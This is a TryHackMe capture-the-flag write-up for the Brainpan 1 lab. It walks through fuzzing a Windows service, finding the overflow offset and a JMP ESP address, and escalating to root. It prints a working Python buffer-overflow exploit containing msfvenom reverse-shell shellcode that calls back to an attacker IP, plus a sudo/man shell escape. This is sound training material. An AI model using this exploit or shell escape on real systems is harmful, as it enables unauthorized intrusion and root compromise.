Brainpan 1 (L/THM)

Reverse engineer a Windows executable, find a buffer overflow and exploit it on a Linux machine.

TryHackMeBrainpan 1 Write-Up

topics: hidden directory enumeration, file transfers, Buffer Overflows, Linux Privilege Escalation, windows buffer overflows on linux machines

  1. Enumeration

  2. Local Privilege Escalation

  3. Root Privilege Escalation

new tools:

Enumeration

initial nmap scan ./autonmap.sh $ip Basic

We have two ports open for this buffer overflow vulnerability. Lets connect to the port abyss? with nc

nc -v $ip 9999

It seems this is the program we need to exploit but we need to find the physical copy. Navigating to the python HTTP server on port 10000 reveals a default page so I ran a dirsearch scan

python3 dirsearch.py -u $ip:10000 -e php,html,txt -w /usr/share/dirb/wordlists/small.txt

Navigating to /bin we see the executable to download.

Local Privilege Escalation

Here we can transfer the exe to a Windows 10 VM and use Immunity Debugger. Make sure your VM is running on NAT network and port 9999 is open. Run brainpan.exe and attach on Immunity Debugger, click play on Immunity Debugger and begin finding the offset. You can also run a quick nmap scan to verify the port is open, if not open the port via the firewall

Finding Offset

We need to fuzz the program to determine at which point will the EIP overflow. We can use pattern_create.rb -l 800 to generate a string and use nc to open a socket and input the string to the listening executable file. Initially I tried 800 characters after doing some manual testing.

nc -v 10.0.2.15 9999

Let's load this in Immunity Debugger, repeat the command, and fetch the overwritten instruction pointer (EIP)

We can see the EIP value of 35724134 which we can input to pattern_offset to obtain the value

pattern_offset.rb -q 35724134

We have an offset of length 524 to use A's or NOP sled with payload = "\x90" * 524 + "JMP ESP" + "\x90" * remainder bytes + shellcode

Identifying Bad Characters

Using the following script to print bad chars and input them using nc 10.0.2.15 9999

#!/usr/bin/env python
from __future__ import print_function

for x in range(0, 256):
    print("\\x" + "{:02x}".format(x), end='')

print()

Right click on the stack pointer (ESP) and follow the hash dump. We can use mona to list the bad chars by running the commands !mona bytearray followed by !mona compare -a esp -f bytearray.bin

We can see the only bad character is "\x00"

Finding JMP ESP Address

In order to obtain the address we want to JMP to in the stack pointer (ESP), we can use the command !mona jmp -r esp (manually install mona.py to the pycommands folder)

We see our address is 0x311712F3 which in little endian syntax will be \xF3\x12\x17\x31

payload = "\x90" * 524 + "\xF3\x12\x17\x31" + "\x90" * 20 + shellcode

Generating Shellcode

Generating shellcode to open a reverse shell will be fairly easy, we just need to run the following msfvenom command and input the bad characters we found

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.6.18.145 LPORT=53 -f c -b "\x00"

Initial Access

The remainder bytes are usually calculated depending on the size of the buffer, doing trial and error the standard number of NOP sleds needed is 20. We now have all of the attributes needed to exploit this buffer overflow and gain a reverse shell. Listening on port 53 and running the program python brainpan.py

#!/usr/bin/env python

# Skeleton Buffer Overflow script
# usage python brainpan.py <targetIP> <targetPort>

import sys, socket

rhost = sys.argv[1]
rport = int(sys.argv[2])

# msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.6.18.145 LPORT=53 -f c -b "\x00"
shellcode = ("\xd9\xed\xb8\x04\xfa\xfb\xa9\xd9\x74\x24\xf4\x5f\x29\xc9\xb1"
"\x12\x83\xef\xfc\x31\x47\x13\x03\x43\xe9\x19\x5c\x7a\xd6\x29"
"\x7c\x2f\xab\x86\xe9\xcd\xa2\xc8\x5e\xb7\x79\x8a\x0c\x6e\x32"
"\xb4\xff\x10\x7b\xb2\x06\x78\x76\x42\xeb\xe9\xee\x48\x0b\x09"
"\xda\xc5\xea\xb9\x42\x86\xbd\xea\x39\x25\xb7\xed\xf3\xaa\x95"
"\x85\x65\x84\x6a\x3d\x12\xf5\xa3\xdf\x8b\x80\x5f\x4d\x1f\x1a"
"\x7e\xc1\x94\xd1\x01")

payload = "\x90" * 524 + "\xF3\x12\x17\x31" + "\x90" * 20 + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c = s.connect((rhost, rport))
s.send(payload + '\r\n')
data = s.recv(1024)
s.close()

Root Privilege Escalation

First we need to upgrade our shell using python -c 'import pty; pty.spawn("/bin/sh")'. We see we have permission to use anansi_util with sudo privileges

sudo /home/anansi/bin/anansi_util

It seems that we can run additional commands, namely the manual of any command installed on the system. According to GTFObins we can use this to break out into a shell

sudo /home/anansi/bin/anansi_util manual man followed by !/bin/bash

Last updated